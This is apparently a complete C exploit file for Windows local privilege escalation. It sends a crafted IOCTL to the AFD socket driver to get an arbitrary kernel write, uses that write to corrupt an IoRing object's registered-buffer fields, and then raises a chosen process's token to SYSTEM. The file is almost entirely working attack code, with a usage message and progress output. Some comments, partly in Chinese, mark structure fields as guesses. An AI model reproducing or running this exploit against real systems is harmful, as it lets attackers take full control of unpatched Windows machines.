exploit.c

#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <ioringapi.h>

#include "win_defs.h"
#include "ioring.h"


#define AFD_NOTIFYSOCK_IOCTL 0x12127

// Good enough� best guess on what this structure is.(用于绕过各种检查的那个用户态buffer)
typedef struct AFD_NOTIFYSOCK_DATA
{
    //TODO
    HANDLE handle;
    PVOID unknown_stuff;
    PVOID pool_addr;
    PVOID kernel_address;
    int unknown_int;//为0
    int v12;//为-1?
    int unknown_int2;//为0
    int patch;//搞成0，might need this patch to 8 align(不确定）
}AFD_NOTIFYSOCK_DATA;


int GetNtFunctions(void)
{
    int ret = -1;

    _NtCreateFile = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, unsigned long, unsigned long, unsigned long, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateFile");
    _NtDeviceIoControlFile = (unsigned long(__stdcall*)(HANDLE, void*, void*, void*, PIO_STATUS_BLOCK, unsigned long, void*, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDeviceIoControlFile");
    _NtCreateIoCompletion = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateIoCompletion");
    _NtSetIoCompletion = (unsigned long(__stdcall*)(HANDLE, unsigned long, PIO_STATUS_BLOCK, NTSTATUS, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetIoCompletion");
    _NtQuerySystemInformation = (unsigned long(__stdcall*)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");

    if ((_NtSetIoCompletion == NULL) || (_NtCreateIoCompletion == NULL) || (_NtCreateFile == NULL) || (_NtDeviceIoControlFile == NULL) || (_NtQuerySystemInformation == NULL))
    {
        ret = GetLastError();
        goto done;
    }

    ret = 0;

done:
    return ret;
}
//TODO:diff一下下面这个函数和x86matthew的NTSockets_CreateTcpSocket,复用了好多东西~
//create a handle to a TCP socket to make IOCTL requests to the AFD driver~
int ArbitraryKernelWrite0x1(void* pPwnPtr)
{
    //TODO!这是matthew的NTSockets_CreateTcpSocket(NTSockets_SocketDataStruct *pSocketData)
    IO_STATUS_BLOCK IoStatusBlock = { 0 };
    HANDLE hEvent = NULL;
    HANDLE hSocket = NULL;
    HANDLE hSocket1 = NULL;
    OBJECT_ATTRIBUTES ObjectAttributes;
    //NTSockets_SocketDataStruct SocketData;
    UNICODE_STRING ObjectFilePath;
    DWORD dwStatus = 0;
    AFD_NOTIFYSOCK_DATA data;
    data.patch = 0; data.unknown_int = 1; data.unknown_int2 = 1; data.v12 = 10000000; 
    data.unknown_stuff = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    data.kernel_address = pPwnPtr;
    //还有handle和pool_addr
    BYTE bExtendedAttributes[] =
    {
        0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,
        0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE
    };

    // create status event
    hEvent = CreateEvent(NULL, 0, 0, NULL);
    printf("[+]after create event\n");
    if (hEvent == NULL)
    {
        // error
        return 1;
    }
    //create handle for data
    dwStatus = _NtCreateIoCompletion(&hSocket, 0x10000000, 0, 0, NULL);
    if (0 != dwStatus) {
        return -1;
    }
    printf("[+]after dwstatus createIOCompletion\n");
    dwStatus = _NtSetIoCompletion(hSocket, 0x1337, &IoStatusBlock, 0, 0x100);
    if (0 != dwStatus) {
        return -1;
    }
    printf("[+]after dwstatus setIOCompletion\n");
    data.pool_addr = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    // set afd endpoint path
    memset((void*)&ObjectFilePath, 0, sizeof(ObjectFilePath));
    ObjectFilePath.Buffer = L"\\Device\\Afd\\Endpoint";
    ObjectFilePath.Length = wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);
    ObjectFilePath.MaximumLength = ObjectFilePath.Length;

    // initialise object attributes
    memset((void*)&ObjectAttributes, 0, sizeof(ObjectAttributes));
    ObjectAttributes.Length = sizeof(ObjectAttributes);
    ObjectAttributes.ObjectName = &ObjectFilePath;
    ObjectAttributes.Attributes = 0x40;

    // create socket handle
    IoStatusBlock.Status = 0;
    IoStatusBlock.Information = NULL;
    dwStatus = _NtCreateFile(&hSocket1, 0xC0140000, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));
    data.handle = hSocket;
    printf("[+]after create file\n");
    if (dwStatus != 0)
    {
        // error
        CloseHandle(hEvent);

        return 1;
    }
    //send request
    IoStatusBlock.Status = 0;
    IoStatusBlock.Information = NULL;
    _NtDeviceIoControlFile(hSocket1, hEvent, 0, 0, &IoStatusBlock, 0x12127, &data, sizeof(data), 0, 0);
    printf("[+]afterIOcontrolfile\n");
    if (INVALID_HANDLE_VALUE != data.handle)
    {
        CloseHandle(data.handle);
    }

    if (INVALID_HANDLE_VALUE != hSocket1)
    {
        CloseHandle(hSocket1);
    }

    if (NULL != hEvent)
    {
        CloseHandle(hEvent);
    }

    if (NULL !=data.pool_addr)
    {
        VirtualFree(data.pool_addr, 0, MEM_RELEASE);
    }

    if (NULL != data.unknown_stuff)
    {
        VirtualFree(data.unknown_stuff, 0, MEM_RELEASE);
    }
    // initialise SocketData object
    //memset((void*)&SocketData, 0, sizeof(SocketData));
    //SocketData.hSocket = hSocket;
    //SocketData.hStatusEvent = hEvent;

    // store socket data
    //memcpy((void*)pSocketData, (void*)&SocketData, sizeof(SocketData));

    return 0;
}

int main(int argc, char* argv[])
{
    int ret = -1;
    PIORING_OBJECT pIoRing = NULL;
    ULONG pid = 0;

    if (argc != 2)
    {
        printf("usage:\nexp.exe <pid>\n");
        goto done;
    }

    pid = strtol(argv[1], NULL, 10);

    printf("[!] Attempting to elevate pid %i\n", pid);

    ret = GetNtFunctions();

    if (0 != ret)
    {
        printf("[-] Failed to get address of NT functions: %0x\n", ret);
        goto done;
    }

    ret = ioring_setup(&pIoRing);

    if (0 != ret)
    {
        printf("[-] IORING setup failed: %0x\n", ret);
        goto done;
    }

    printf("[+] IoRing Obj Address at %llx\n", pIoRing);

    ret = ArbitraryKernelWrite0x1((char*)&pIoRing->RegBuffers + 0x3);

    if (0 != ret)
    {
        printf("[-] IoRing->RegBuffers overwrite failed: %0x\n", ret);
        goto done;
    }

    printf("[+] IoRing->RegBuffers overwritten with address 0x1000000\n");

    ret = ArbitraryKernelWrite0x1((char*)&pIoRing->RegBuffersCount);

    if (0 != ret)
    {
        printf("[-] IoRing->RegBuffersCount overwrite failed: %0x\n", ret);
        goto done;
    }

    printf("[+] IoRing->RegBuffersCount overwritten with 0x1\n");

    ret = ioring_lpe(pid, 0x1000000, 0x1);

    if (0 != ret)
    {
        printf("[-] LPE Failed: %0x\n", ret);
        goto done;
    }

    printf("[+] Target process token elevated to SYSTEM!\n");

done:
    return ret;
}